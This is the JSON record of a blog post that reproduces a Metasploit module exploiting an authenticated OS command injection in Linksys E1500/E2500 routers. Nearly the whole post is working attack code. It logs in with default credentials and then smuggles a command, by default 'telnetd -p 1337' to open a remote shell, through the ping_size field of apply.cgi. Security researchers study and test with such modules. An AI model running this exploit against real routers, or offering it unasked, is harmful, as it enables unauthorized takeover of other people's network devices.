{"id":59314,"date":"2024-09-01T00:50:02","date_gmt":"2024-08-31T21:50:02","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180850\/linksys_e1500_e2500_exec.rb.txt"},"modified":"2024-09-01T00:50:02","modified_gmt":"2024-08-31T21:50:02","slug":"linksys-e1500-e2500-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/linksys-e1500-e2500-remote-command-execution\/","title":{"rendered":"Linksys E1500\/E2500 Remote Command Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Linksys E1500\/E2500 Remote Command Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Some Linksys Routers are vulnerable to an authenticated OS command injection.<br \/>Default credentials for the web interface are admin\/admin or admin\/password. Since<br \/>it is a blind os command injection vulnerability, there is no output for the<br \/>executed command. A ping command against a controlled system for can be used for<br \/>testing purposes.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;Michael Messner &lt;devnull[at]s3cur1ty.de&gt;&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;OSVDB&#8217;, &#8216;89912&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;57760&#8217; ],<br \/>[ &#8216;EDB&#8217;, &#8216;24475&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.s3cur1ty.de\/m1adv2013-004&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-02-05&#8217;<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;HttpUsername&#8217;, [ true, &#8216;User to login with&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;HttpPassword&#8217;, [ true, &#8216;Password to login with&#8217;, &#8216;password&#8217;]),<br \/>OptString.new(&#8216;CMD&#8217;, [ true, &#8216;The command to execute&#8217;, &#8216;telnetd -p 1337&#8217;])<br \/>])<br \/>end<\/p>\n<p>def run<br \/>uri = &#8216;\/apply.cgi&#8217;<br \/>user = datastore[&#8216;HttpUsername&#8217;]pass = datastore[&#8216;HttpPassword&#8217;]\n<p>print_status(&#8220;#{rhost}:#{rport} &#8211; Trying to login with #{user} \/ #{pass}&#8221;)<\/p>\n<p>begin<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;authorization&#8217; =&gt; basic_auth(user, pass)<br \/>})<\/p>\n<p>return if res.nil?<br \/>return if (res.code == 404)<\/p>\n<p>if [200, 301, 302].include?(res.code)<br \/>print_good(&#8220;#{rhost}:#{rport} &#8211; Successful login #{user}\/#{pass}&#8221;)<br \/>else<br \/>print_error(&#8220;#{rhost}:#{rport} &#8211; No successful login possible with #{user}\/#{pass}&#8221;)<br \/>return<br \/>end<br \/>rescue ::Rex::ConnectionError<br \/>vprint_error(&#8220;#{rhost}:#{rport} &#8211; Failed to connect to the web server&#8221;)<br \/>return<br \/>end<\/p>\n<p>print_status(&#8220;#{rhost}:#{rport} &#8211; Sending remote command: &#8221; + datastore[&#8216;CMD&#8217;])<\/p>\n<p>cmd = datastore[&#8216;CMD&#8217;]# original post request:<br \/># data_cmd = &#8220;submit_button=Diagnostics&amp;change_action=gozila_cgi&amp;submit_type=start_ping&amp;<br \/># action=&amp;commit=0&amp;ping_ip=1.1.1.1&amp;ping_size=%26#{cmd}%26&amp;ping_times=5&amp;traceroute_ip=&#8221;<\/p>\n<p>vprint_status(&#8220;#{rhost}:#{rport} &#8211; using the following target URL: #{uri}&#8221;)<br \/>begin<br \/>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; uri,<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;authorization&#8217; =&gt; basic_auth(user, pass),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;submit_button&#8217; =&gt; &#8216;Diagnostics&#8217;,<br \/>&#8216;change_action&#8217; =&gt; &#8216;gozila_cgi&#8217;,<br \/>&#8216;submit_type&#8217; =&gt; &#8216;start_ping&#8217;,<br \/>&#8216;action&#8217; =&gt; &#8221;,<br \/>&#8216;commit&#8217; =&gt; &#8216;0&#8217;,<br \/>&#8216;ping_ip&#8217; =&gt; &#8216;1.1.1.1&#8217;,<br \/>&#8216;ping_size&#8217; =&gt; &#8220;&amp;#{cmd}&amp;&#8221;,<br \/>&#8216;ping_times&#8217; =&gt; &#8216;5&#8217;,<br \/>&#8216;traceroute_ip&#8217; =&gt; &#8221;<br \/>}<br \/>})<br \/>rescue ::Rex::ConnectionError<br \/>vprint_error(&#8220;#{rhost}:#{rport} &#8211; Failed to connect to the web server&#8221;)<br \/>return<br \/>end<br \/>print_status(&#8220;#{rhost}:#{rport} &#8211; Blind Exploitation &#8211; unknown Exploitation state&#8221;)<br \/>print_status(&#8220;#{rhost}:#{rport} &#8211; Blind Exploitation &#8211; wait around 10 seconds till the command gets executed&#8221;)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Linksys E1500\/E2500 Remote Command Execution&#8217;,&#8216;Description&#8217; =&gt; %q{Some Linksys Routers are vulnerable to an authenticated OS command injection.Default credentials for the web interface are admin\/admin or admin\/password. Sinceit is a blind os command injection vulnerability, there is &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59314","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59314","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59314"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59314\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59314"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59314"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59314"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}